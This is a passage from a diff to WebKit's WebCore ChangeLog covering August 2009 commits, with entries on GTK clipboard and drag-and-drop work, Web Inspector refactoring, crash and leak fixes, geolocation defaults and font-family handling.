+        (WebCore::Document::setFocusedNode):
+        Call AXObjectCache::handleFocusedUIElementChanged() on Windows.
+
+2009-08-14  Jiahua Huang  <jhuangjiahua@gmail.com>
+
+        Reviewed by Jan Alonzo.
+
+        [gtk] Pasteboard/GtkClipboard can't handle the "text/html" target.
+        https://bugs.webkit.org/show_bug.cgi?id=27028
+
+        Remove the improper set of enum WebKitWebViewTargetInfo
+        by grabbing the target infos via m_helper.
+
+        * manual-tests/gtk/copy-htmltext.html: Added.
+        * platform/Pasteboard.h:
+        * platform/gtk/PasteboardGtk.cpp:
+        (WebCore::clipboard_get_contents_cb):
+        * platform/gtk/PasteboardHelper.h:
+
+2009-08-14  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Fix an assertion when bringing up the Inspector.
+        https://bugs.webkit.org/show_bug.cgi?id=28318
+        
+        The fix for bug 28295 assumed that image clients count the number of times
+        addClient/removeClient is called. That was true for CachedResource clients,
+        but not StyleGeneratedImage clients, which pass the call onto CSSImageGeneratorValue.
+        
+        Fix by making CSSImageGeneratorValue count the number of times a client is
+        added/removed.
+
+        * css/CSSCanvasValue.cpp:
+        (WebCore::CSSCanvasValue::canvasChanged):
+        (WebCore::CSSCanvasValue::canvasResized):
+        * css/CSSImageGeneratorValue.cpp:
+        (WebCore::CSSImageGeneratorValue::addClient):
+        (WebCore::CSSImageGeneratorValue::removeClient):
+        (WebCore::CSSImageGeneratorValue::getImage):
+        * css/CSSImageGeneratorValue.h:
+
+2009-08-14  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Kevin Ollivier.
+
+        Correct libcurl crash when downloading local files.
+        https://bugs.webkit.org/show_bug.cgi?id=28312
+
+        No new tests. Test is covered by fast/encoding/char-encoding-mac.html.
+
+        * platform/network/curl/ResourceHandleManager.cpp:
+        (WebCore::handleLocalReceiveResponse): New static function that
+          performs the local setting of valid URL and firing didReceiveResponse.
+          This code was moved from writeCallback.
+        (WebCore::writeCallback): Move local file handling to static function
+          (above) and use the function instead.
+        (WebCore::readCallback): Add check
+          for responseFired, and handle as a local file if it was not.
+
+2009-08-14  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Oliver Hunt.
+
+        [Haiku] Fix RenderThemeHaiku build.
+        https://bugs.webkit.org/show_bug.cgi?id=28307
+
+        * platform/haiku/RenderThemeHaiku.cpp: Included RenderThemeHaiku.h
+        instead of RenderTheme.h.
+        (WebCore::RenderThemeHaiku::paintCheckbox): Removed the wrong 'virtual'
+        before the function.
+        (WebCore::RenderThemeHaiku::paintRadio): Removed the wrong 'virtual'
+        before the function.
+        * platform/haiku/RenderThemeHaiku.h: Corrected wrong function definitions.
+
+2009-08-14  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Oliver Hunt.
+
+        [Haiku] Adding SharedBufferHaiku to WebCore.
+        https://bugs.webkit.org/show_bug.cgi?id=28309
+
+        * platform/haiku/SharedBufferHaiku.cpp: Added.
+        (WebCore::SharedBuffer::createWithContentsOfFile):
+        * platform/haiku/TemporaryLinkStubs.cpp: Removed unnecessary headers
+        and functions.
+        (WebCore::signedPublicKeyAndChallengeString):
+        (WebCore::getSupportedKeySizes):
+
+2009-08-14  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Ensure we're getting the right v8 context in the V8 DOMWindowEvent custom getter.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28311
+
+        This should fix Chromium failing LayoutTests/fast/events/set-event-in-another-frame.html.
+
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+
+2009-08-14  Aaron Boodman  <aa@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        BUG 28134: Move the remaining parts of Access Control from XMLHttpRequest to ThreadableDocumentLoader.
+        https://bugs.webkit.org/show_bug.cgi?id=28134
+
+        No new tests added since Access Control was already well tested and this is a pure refactor.
+
+        * loader/DocumentThreadableLoader.cpp: Move a lot of the access control code from XHR in, preserving its
+        basic strategy. Also, modify the synchronous path to not be a special case, but reuse more of the async
+        path.
+
+        (WebCore::DocumentThreadableLoader::loadResourceSynchronously): Go through the async path and pass additional flags.
+        (WebCore::DocumentThreadableLoader::create): Group enum params into an options struct.
+        (WebCore::DocumentThreadableLoader::DocumentThreadableLoader): Ditto.
+        (WebCore::DocumentThreadableLoader::makeSimpleCrossOriginAccessRequest): Brought mostly from XHR.
+        (WebCore::DocumentThreadableLoader::makeCrossOriginAccessRequestWithPreflight): Ditto.
+        (WebCore::DocumentThreadableLoader::willSendRequest): Handle preflight case.
+        (WebCore::DocumentThreadableLoader::didReceiveResponse): Ditto.
+        (WebCore::DocumentThreadableLoader::didFinishLoading): Ditto.
+        (WebCore::DocumentThreadableLoader::getShouldUseCredentialStorage): Ditto.
+        (WebCore::DocumentThreadableLoader::preflightSuccess): Preflight handling.
+        (WebCore::DocumentThreadableLoader::preflightFailure): Ditto.
+        (WebCore::DocumentThreadableLoader::loadRequest): Common request function that handles async/sync.
+        * loader/DocumentThreadableLoader.h: Group enum params into an options struct.
+        * loader/ThreadableLoader.cpp: Ditto.
+        (WebCore::ThreadableLoader::create): Ditto.
+        (WebCore::ThreadableLoader::loadResourceSynchronously): Ditto.
+        * loader/ThreadableLoader.h: Ditto.
+        (WebCore::ThreadableLoaderOptions::ThreadableLoaderOptions): Ditto.
+        * loader/WorkerThreadableLoader.cpp: Ditto.
+        (WebCore::WorkerThreadableLoader::WorkerThreadableLoader):Ditto.
+        (WebCore::WorkerThreadableLoader::loadResourceSynchronously): Ditto.
+        (WebCore::WorkerThreadableLoader::MainThreadBridge::MainThreadBridge): Ditto.
+        (WebCore::WorkerThreadableLoader::MainThreadBridge::mainThreadCreateLoader): Ditto.
+        * loader/WorkerThreadableLoader.h: Ditto.
+        (WebCore::WorkerThreadableLoader::create): Ditto.
+        * platform/CrossThreadCopier.h: Allow ThreadableLoaderOptions to be copied across threads.
+        (WebCore::):
+        * workers/WorkerScriptLoader.cpp: More enum->struct grouping.
+        (WebCore::WorkerScriptLoader::loadSynchronously): More enum->struct grouping.
+        (WebCore::WorkerScriptLoader::loadAsynchronously): More enum->struct grouping.
+        * xml/XMLHttpRequest.cpp: Remove all the access control code and some supporting state.
+        (WebCore::XMLHttpRequest::XMLHttpRequest): Ditto.
+        (WebCore::XMLHttpRequest::createRequest): Ditto.
+        (WebCore::XMLHttpRequest::didFinishLoading): Ditto.
+        (WebCore::XMLHttpRequest::didReceiveResponse): Ditto.
+        (WebCore::XMLHttpRequest::didReceiveData): Ditto.
+        * xml/XMLHttpRequest.h: Ditto.
+
+2009-08-14  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Rename the confusing isObject(<class>) to inherits(<class>).
+        It still works on non-objects, returning false.
+
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toEventTarget):
+        * bindings/js/JSGeolocationCustom.cpp:
+        (WebCore::createPositionCallback):
+        (WebCore::createPositionErrorCallback):
+        * bindings/js/JSNodeFilterCustom.cpp:
+        (WebCore::toNodeFilter):
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::send):
+        * bindings/js/JSXSLTProcessorCustom.cpp:
+        (WebCore::JSXSLTProcessor::importStylesheet):
+        (WebCore::JSXSLTProcessor::transformToFragment):
+        (WebCore::JSXSLTProcessor::transformToDocument):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bridge/objc/objc_runtime.mm:
+        (JSC::Bindings::callObjCFallbackObject):
+        * bridge/runtime_method.cpp:
+        (JSC::callRuntimeMethod):
+        Updated to new name, inherits, from old name, isObject.
+
+2009-08-14  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Allow Qt API to list and to remove URL schemes that were registered as
+        local URL schemes.
+        [Qt] Allow applications to register their own local URL scheme.
+        https://bugs.webkit.org/show_bug.cgi?id=28240
+
+        * page/SecurityOrigin.cpp:
+        (WebCore::SecurityOrigin::removeURLSchemeRegisteredAsLocal):
+        (WebCore::SecurityOrigin::localURLSchemes):
+        * page/SecurityOrigin.h:
+
+2009-08-14  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Wrap console objects late (in the frontend) so that injected
+        script was already in place.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28297
+
+        * inspector/ConsoleMessage.cpp:
+        (WebCore::ConsoleMessage::ConsoleMessage):
+        * inspector/ConsoleMessage.h:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::addMessageToConsole):
+        (WebCore::InspectorController::startGroup):
+        (WebCore::InspectorController::setFrontendProxyObject):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::InspectorFrontend):
+        (WebCore::InspectorFrontend::addMessageToConsole):
+        * inspector/InspectorFrontend.h:
+
+2009-08-13  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix logic in RenderObject::updateFillImages() that led to incorrect client
+        counts if an image was used twice in the background-image property.
+        https://bugs.webkit.org/show_bug.cgi?id=28295
+
+        Test: fast/backgrounds/multiple-backgrounds-assert.html
+
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::updateFillImages):
+        Simplify the logic to call addClient()/removeClient() for every background
+        image, but go through the new layers first to avoid removing all the
+        clients of an image.
+
+2009-08-13  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Devirtualise marking
+        https://bugs.webkit.org/show_bug.cgi?id=28294
+
+        Make sure we override the JSObject createStructure method on those
+        objects that have custom marking routines.
+
+        * bindings/scripts/CodeGeneratorJS.pm:
+
+2009-08-13  Darin Adler  <darin@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        Follow-up to earlier work to remove dependencies on JavaScriptCore.
+
+        * ForwardingHeaders/parser/Parser.h: Removed.
+        * inspector/JavaScriptDebugServer.cpp: Removed now-unneeded includes
+        of Parser.h.
+
+2009-08-13  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        'box-orient: block-axis' behaves like 'box-orient: horizontal', causes
+        an assertion failure in debug builds
+        https://bugs.webkit.org/show_bug.cgi?id=28279
+
+        Test: fast/flexbox/block-axis.html
+
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::operator EBoxOrient): Map block-axis to
+        vertical.
+
+2009-08-13  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix crash when removing reflection on an absolutely-positioned image.
+        https://bugs.webkit.org/show_bug.cgi?id=28289
+        
+        Make sure we clean up the reflection layer when removing the reflection,
+        so that the RenderLayer tree does not contain pointers to deleted layers.
+
+        Test: fast/reflections/reflected-img-crash.html
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::~RenderLayer):
+        (WebCore::RenderLayer::styleChanged):
+        (WebCore::RenderLayer::removeReflection):
+        * rendering/RenderLayer.h:
+
+2009-08-13  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        misalignment because of float:left of <div> tag
+        https://bugs.webkit.org/show_bug.cgi?id=15869
+
+        One section of http://edgar.sec.gov site draws to the right of the rest
+        of the content
+        <rdar://problem/7135951>
+
+        Tests: fast/block/float/avoidance-percent-width-compat.html
+               fast/block/float/avoidance-percent-width-strict.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::getClearDelta): Changed to apply the same float
+            avoidance logic in strict mode and in compatibility mode, which
+            matches Firefox and IE. Changed to compute and use the computed
+            width of the child, instead of ignoring non-fixed widths.
+
+2009-08-13  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Adler.
+
+        Geolocation PositionOptions does not use correct default values.
+        https://bugs.webkit.org/show_bug.cgi?id=27254
+
+        Sets the correct default values for the properties of the PositionOptions object
+        passed to Geolocation methods. See http://www.w3.org/TR/geolocation-API/.
+
+        Also adds checking to throw an exception if arguments of the incorrect type are
+        passed to Geolocation methods. Adds a layout test to test this. This test should
+        pass on all platforms where Geolocation is implemented.
+
+        Test: fast/dom/Geolocation/argument-types.html
+
+        * bindings/js/JSGeolocationCustom.cpp:
+        (WebCore::createPositionCallback): Added. Creates the callback.
+        (WebCore::createPositionErrorCallback): Added. Creates the calback.
+        (WebCore::createPositionOptions): Added. Creates the PositionOptions object, setting defaults where required.
+        (WebCore::JSGeolocation::getCurrentPosition): Modified. Now uses above helper functions.
+        (WebCore::JSGeolocation::watchPosition): Modified. Now uses above helper functions.
+        * page/Geolocation.cpp:
+        (WebCore::Geolocation::GeoNotifier::GeoNotifier): Modified. Asserts that PositionOptions object is present.
+        (WebCore::Geolocation::GeoNotifier::startTimer): Modified. Only starts timer if timeout has been set.
+        * page/PositionOptions.h:
+        (WebCore::PositionOptions::create): Modified. Creates object with default values.
+        (WebCore::PositionOptions::timeout): Modified. Uses correct type.
+        (WebCore::PositionOptions::hasTimeout): Added. Determines whether a timeout has been set.
+        (WebCore::PositionOptions::setTimeout): Modified. Uses correct type.
+        (WebCore::PositionOptions::maximumAge): Modified. Uses correct type.
+        (WebCore::PositionOptions::setMaximumAge): Modified. Uses correct type.
+        (WebCore::PositionOptions::PositionOptions): Modified. Creates object with default values.
+
+2009-08-13  David Levin  <levin@chromium.org>
+
+        Unreviewed chromium build fix.
+
+        [Chromium] Let CodeGeneratorV8.pm know that RGBColor is ref-counted.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+
+2009-08-13  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        Merge error in SharedWorker code
+        https://bugs.webkit.org/show_bug.cgi?id=28277
+
+        Fixed merge error that prevents WebKit from compiling with SHARED_WORKERS enabled.
+        No new tests needed.
+
+        * workers/DefaultSharedWorkerRepository.cpp:
+        Removed duplicated functions.
+
+2009-08-13  Kyle Prete  <kylep@chromium.org>
+
+        Reviewed by Dave Levin.
+
+        Chromium: Show a "Playback Disabled" button on media error.
+        https://bugs.webkit.org/show_bug.cgi?id=28196
+        Use a disabled play button when the media file cannot be played.
+
+        No new tests needed. Covered by LayoutTests/media/video-empty-source.html
+
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::paintMediaPlayButton):
+
+2009-08-13  Mark Rowe  <mrowe@apple.com>
+
+        Try and fix the Qt build.
+
+        * bridge/qt/qt_runtime.cpp:
+
+2009-08-13  Zan Dobersek  <zandobersek@gmail.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK] Drag and drop support
+        https://bugs.webkit.org/show_bug.cgi?id=23642
+
+        Utilizes functions that are being called upon drag and drop actions.
+        Uses different GTK clipboards that hold different types
+        of drag data - images, HTML markup, text, URL, URL label.
+        Also clears each clipboard before setting new data to it.
+
+        No new tests - despite some implementations, no new functionality
+        is added until implementations of the GTK drag and drop protocol
+        in WebKit part.
+
+        * platform/gtk/ClipboardGtk.cpp:
+        (WebCore::ClipboardGtk::ClipboardGtk):
+        (WebCore::ClipboardGtk::~ClipboardGtk):
+        (WebCore::getCachedImage):
+        (WebCore::ClipboardGtk::declareAndWriteDragImage):
+        (WebCore::ClipboardGtk::writeURL):
+        (WebCore::ClipboardGtk::writeRange):
+        * platform/gtk/ClipboardGtk.h: ClipboardGdk -> ClipboardGtk
+
+2009-08-13  Darin Adler  <darin@apple.com>
+
+        Reviewed by David Levin.
+
+        JavaScriptCore tweaks to get ready for the parser arena
+        https://bugs.webkit.org/show_bug.cgi?id=28243
+
+        * ForwardingHeaders/runtime/CollectorHeapIterator.h: Removed.
+
+        * WebCore.xcodeproj/project.pbxproj: Exposed a couple header
+        files as Private that are now needed to compile Mac WebKit.
+
+        * bindings/js/JSAudioConstructor.cpp:
+        * bindings/js/JSDOMBinding.cpp:
+        * bindings/js/JSDOMBinding.h:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        * bindings/js/JSHTMLInputElementCustom.cpp:
+        * bindings/js/JSHistoryCustom.cpp:
+        * bindings/js/JSImageConstructor.cpp:
+        * bindings/js/JSLazyEventListener.cpp:
+        * bindings/js/JSLocationCustom.cpp:
+        * bindings/js/JSMessageChannelConstructor.cpp:
+        * bindings/js/JSOptionConstructor.cpp:
+        * bindings/js/JSWebSocketConstructor.cpp:
+        * bindings/js/JSWebSocketCustom.cpp:
+        * bindings/js/JSWorkerConstructor.cpp:
+        * bindings/js/JSXMLHttpRequestConstructor.cpp:
+        * bridge/jni/jni_jsobject.mm:
+        Updated includes.
+
+        * inspector/JavaScriptDebugServer.cpp:
+        (WebCore::JavaScriptDebugServer::sourceParsed):
+        Change to not assert if this is called with no listeners.
+        I don't think this was guaranteed before, and we now use
+        this code path when recompiling. Slightly less efficient,
+        but this is a one-time cost when turning on the debugger.
+        (WebCore::JavaScriptDebugServer::recompileAllJSFunctions):
+        Change to call Debugger::recompileAllJSFunctions.
+
+2009-08-13  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        <rdar://problem/7138591> and https://bugs.webkit.org/show_bug.cgi?id=28260
+        onhashchange property cannot be set from javascript.
+
+        Test: fast/loader/onhashchange-attribute-listeners.html
+
+        * html/HTMLBodyElement.cpp:
+        (WebCore::HTMLBodyElement::onhashchange):
+        (WebCore::HTMLBodyElement::setOnhashchange):
+        * html/HTMLBodyElement.h:
+        * html/HTMLBodyElement.idl:
+
+        * html/HTMLFrameSetElement.cpp:
+        (WebCore::HTMLFrameSetElement::onhashchange):
+        (WebCore::HTMLFrameSetElement::setOnhashchange):
+        * html/HTMLFrameSetElement.h:
+        * html/HTMLFrameSetElement.idl:
+
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::onhashchange):
+        (WebCore::DOMWindow::setOnhashchange):
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl:
+
+2009-08-13  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Fix leaks of RGBColor instances from below SVGColor::rgbColor.
+
+        * svg/SVGColor.cpp:
+        (WebCore::SVGColor::rgbColor): Return a PassRefPtr to ensure that the newly-allocated
+        RGBColor is cleaned up by the caller.
+        * svg/SVGColor.h:
+
+2009-08-13  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Migrate to DOMAgent (serialized access to DOM).
+
+        https://bugs.webkit.org/show_bug.cgi?id=28177
+
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        (WebCore::JSInspectorBackend::highlightDOMNode):
+        (WebCore::JSInspectorBackend::nodeForId):
+        (WebCore::JSInspectorBackend::idForNode):
+        (WebCore::JSInspectorBackend::wrapObject):
+        (WebCore::JSInspectorBackend::unwrapObject):
+        (WebCore::JSInspectorBackend::pushNodePathToFrontend):
+        (WebCore::JSInspectorBackend::selectDatabase):
+        (WebCore::JSInspectorBackend::selectDOMStorage):
+        * bindings/js/ScriptObjectQuarantine.cpp:
+        (WebCore::getQuarantinedScriptObject):
+        * bindings/js/ScriptObjectQuarantine.h:
+        * bindings/js/ScriptValue.cpp:
+        (WebCore::ScriptValue::isObject):
+        * bindings/js/ScriptValue.h:
+        * bindings/v8/ScriptObjectQuarantine.cpp:
+        (WebCore::getQuarantinedScriptObject):
+        * bindings/v8/ScriptObjectQuarantine.h:
+        * bindings/v8/ScriptValue.h:
+        (WebCore::ScriptValue::isObject):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * inspector/ConsoleMessage.cpp:
+        (WebCore::ConsoleMessage::ConsoleMessage):
+        * inspector/ConsoleMessage.h:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::clearMessages):
+        (WebCore::InspectorBackend::loaded):
+        (WebCore::InspectorBackend::highlight):
+        (WebCore::InspectorBackend::nodeForId):
+        (WebCore::InspectorBackend::idForNode):
+        (WebCore::InspectorBackend::wrapObject):
+        (WebCore::InspectorBackend::unwrapObject):
+        (WebCore::InspectorBackend::pushNodePathToFrontend):
+        (WebCore::InspectorBackend::addNodesToSearchResult):
+        (WebCore::InspectorBackend::selectDatabase):
+        (WebCore::InspectorBackend::selectDOMStorage):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::focusNode):
+        (WebCore::InspectorController::addMessageToConsole):
+        (WebCore::InspectorController::clearConsoleMessages):
+        (WebCore::InspectorController::startGroup):
+        (WebCore::InspectorController::scriptObjectReady):
+        (WebCore::InspectorController::setFrontendProxyObject):
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::didCommitLoad):
+        (WebCore::InspectorController::wrapObject):
+        (WebCore::InspectorController::unwrapObject):
+        * inspector/InspectorController.h:
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::setDocument):
+        (WebCore::InspectorDOMAgent::handleEvent):
+        (WebCore::InspectorDOMAgent::pushDocumentToFrontend):
+        (WebCore::InspectorDOMAgent::pushChildNodesToFrontend):
+        (WebCore::InspectorDOMAgent::nodeForId):
+        (WebCore::InspectorDOMAgent::pushNodePathToFrontend):
+        (WebCore::InspectorDOMAgent::buildObjectForNode):
+        (WebCore::InspectorDOMAgent::buildArrayForContainerChildren):
+        (WebCore::InspectorDOMAgent::innerParentElement):
+        * inspector/InspectorDOMAgent.h:
+        * inspector/InspectorDOMStorageResource.cpp:
+        (WebCore::InspectorDOMStorageResource::bind):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::clearConsoleMessages):
+        (WebCore::InspectorFrontend::updateFocusedNode):
+        (WebCore::InspectorFrontend::setDocument):
+        (WebCore::InspectorFrontend::selectDatabase):
+        (WebCore::InspectorFrontend::selectDOMStorage):
+        (WebCore::InspectorFrontend::addNodesToSearchResult):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.clearMessages):
+        (WebInspector.ConsoleView.prototype.completions):
+        (WebInspector.ConsoleView.prototype._reportCompletions):
+        (WebInspector.ConsoleView.prototype._messagesClicked):
+        (WebInspector.ConsoleView.prototype.doEvalInWindow.evalCallback):
+        (WebInspector.ConsoleView.prototype.doEvalInWindow):
+        (WebInspector.ConsoleView.prototype._format):
+        (WebInspector.ConsoleView.prototype._formatfunction):
+        (WebInspector.ConsoleView.prototype._formatdate):
+        (WebInspector.ConsoleView.prototype._formatregexp):
+        (WebInspector.ConsoleView.prototype._formatnode):
+        (WebInspector.ConsoleView.prototype._formatobject):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMNode):
+        (WebInspector.DOMNode.prototype._renumber):
+        (WebInspector.DOMDocument):
+        (WebInspector.DOMAgent):
+        (WebInspector.DOMAgent.prototype.getChildNodesAsync):
+        (WebInspector.DOMAgent.prototype.setAttributeAsync):
+        (WebInspector.DOMAgent.prototype.removeAttributeAsync):
+        (WebInspector.DOMAgent.prototype.setTextNodeValueAsync):
+        (WebInspector.DOMAgent.prototype.nodeForId):
+        (WebInspector.DOMAgent.prototype._setDocument):
+        (WebInspector.DOMAgent.prototype._setChildNodes):
+        (WebInspector.DOMAgent.prototype._bindNodes):
+        (WebInspector.DOMAgent.prototype._childNodeInserted):
+        (WebInspector.CSSStyleDeclaration):
+        (WebInspector.CSSStyleDeclaration.parseRule):
+        (WebInspector.setDocument):
+        (InspectorController.getStyles):
+        (InspectorController.getComputedStyle):
+        (InspectorController.getInlineStyle):
+        (InspectorController.applyStyleText):
+        (InspectorController.setStyleText):
+        (InspectorController.toggleStyleEnabled):
+        (InspectorController.applyStyleRuleText):
+        (InspectorController.addStyleSelector):
+        (InspectorController.setStyleProperty):
+        (InspectorController.getPrototypes):
+        (InspectorController.getProperties):
+        (InspectorController.setPropertyValue):
+        (InspectorController.evaluate):
+        (InspectorController.addInspectedNode):
+        (InspectorController.performSearch):
+        (InspectorController.searchCanceled):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
+        (WebInspector.ElementsPanel.prototype.searchCanceled):
+        (WebInspector.ElementsPanel.prototype.performSearch):
+        (WebInspector.ElementsPanel.prototype._updateMatchesCount):
+        (WebInspector.ElementsPanel.prototype._updateMatchesCountSoon):
+        (WebInspector.ElementsPanel.prototype.addNodesToSearchResult):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline.prototype.set focusedDOMNode.restoreHighlightToHoveredNode):
+        (WebInspector.ElementsTreeOutline.prototype.set focusedDOMNode):
+        (WebInspector.ElementsTreeElement.prototype.updateChildren):
+        (WebInspector.ElementsTreeElement.prototype._attributeEditingCommitted):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.applyStyleRuleText):
+        (InjectedScript.addStyleSelector):
+        (InjectedScript._doesSelectorAffectNode):
+        (InjectedScript._serializeRule):
+        (InjectedScript._serializeStyle):
+        (InjectedScript.getProperties):
+        (InjectedScript.evaluate):
+        (InjectedScript.addInspectedNode):
+        (InjectedScript.performSearch.addNodesToResults):
+        (InjectedScript.performSearch.matchExactItems):
+        (InjectedScript.performSearch.matchExactId.addNodesToResults.call):
+        (InjectedScript.performSearch.matchExactId):
+        (InjectedScript.performSearch):
+        (InjectedScript.performSearch.matchExactTagNames):
+        (InjectedScript.performSearch.matchExactAttributeNames):
+        (InjectedScript.performSearch.matchPartialTagNames):
+        (InjectedScript.performSearch.matchStartOfTagNames):
+        (InjectedScript.performSearch.matchPartialTagNamesAndAttributeValues):
+        (InjectedScript.performSearch.matchPartialAttributeValues):
+        (InjectedScript.performSearch.matchStyleSelector):
+        (InjectedScript.performSearch.matchPlainText):
+        (InjectedScript.performSearch.matchXPathQuery):
+        (InjectedScript.performSearch.finishedSearching):
+        (InjectedScript.performSearch.processChunk):
+        (InjectedScript.searchCanceled):
+        (InjectedScript._ensureCommandLineAPIInstalled.inspectObject):
+        (InjectedScript._ensureCommandLineAPIInstalled):
+        (InjectedScript._resolveObject):
+        (InjectedScript._nodeForId):
+        (InjectedScript._objectForId):
+        (InjectedScript._createProxyObject):
+        * inspector/front-end/ObjectPropertiesSection.js:
+        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate):
+        (WebInspector.ObjectPropertyTreeElement.prototype.update):
+        * inspector/front-end/ObjectProxy.js:
+        (WebInspector.ObjectProxy):
+        (WebInspector.ObjectPropertyProxy):
+        * inspector/front-end/PropertiesSidebarPane.js:
+        (WebInspector.PropertiesSidebarPane.prototype.update.callback):
+        (WebInspector.PropertiesSidebarPane.prototype.update):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane.prototype.update.callback):
+        (WebInspector.StylesSidebarPane.prototype.update):
+        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted):
+        (WebInspector.StylePropertiesSection.prototype.editingSelectorCancelled):
+        (WebInspector.BlankStylePropertiesSection.prototype.editingCommitted.callback):
+        (WebInspector.BlankStylePropertiesSection.prototype.editingCommitted):
+        (WebInspector.StylePropertyTreeElement.prototype):
+        * inspector/front-end/inspector.js:
+        (WebInspector._updateHoverHighlight):
+        (WebInspector.loaded):
+        (WebInspector.clearConsoleMessages):
+        (WebInspector.selectDatabase):
+        (WebInspector.selectDOMStorage):
+        (WebInspector.updateFocusedNode):
+        (WebInspector.addNodesToSearchResult):
+        * inspector/front-end/utilities.js:
+        (Object.proxyType):
+        * storage/Storage.h:
+        (WebCore::Storage::frame):
+
+2009-08-13  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Fix leaks of RGBColor instances from below CSSPrimitiveValue::getRGBColorValue.
+
+        * css/CSSPrimitiveValue.cpp:
+        (WebCore::CSSPrimitiveValue::getRGBColorValue): Return a PassRefPtr to ensure that the
+        newly-allocated RGBColor is cleaned up by the caller.
+        * css/CSSPrimitiveValue.h:
+
+2009-08-13  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by David Hyatt.
+
+        wrong font size when css font-family includes monospace
+        https://bugs.webkit.org/show_bug.cgi?id=19161
+
+        Firefox only uses fixed-width default size for exactly "font-family: monospace;".
+        WebKit has historically used fixed-width default size any time a
+        font-family includes monospace in the fallback list.
+
+        This patch corrects WebKit's behavior to match Firefox.
+        I also had to fix a bug in WebKit's font-family fallback behavior where
+        child elements would inherit parts of their parents fallback lists.
+
+        This patch is mostly just replacing all cases where we used to check for:
+        fontDescription.genericFontFamily() == MonospaceFamily
+        with:
+        fontDescription.useFixedDefaultSize()
+
+        Tests: fast/css/getComputedStyle/computed-style-font-family-monospace.html
+               fast/css/getComputedStyle/font-family-fallback-reset.html
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty):
+           Deploy useFixedDefaultSize().  Also fix the bug where child
+           FontDescriptions would carry part of the parent font-family fallback list.
+        (WebCore::CSSStyleSelector::checkForGenericFamilyChange):
+           It's no longer alright to just check genericFontFamily(),
+           we have to check to make sure the changed style has a matching useFixedDefaultSize().
+        * platform/graphics/FontDescription.h:
+        (WebCore::FontDescription::useFixedDefaultSize):
+           Only use the fixed default size if we have one font family and it is "monospace".
+           "-webkit-monospace" is the internal representation of the CSS identifier "monospace".
+
+2009-08-13  Christian Plesner Hansen  <christian.plesner.hansen@gmail.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        [v8] Fix atomic string externalization crash.
+        Atomic string externalization assumes that all non-empty strings
+        can be externalized which is untrue on 64-bit.  This change fixed
+        that.
+
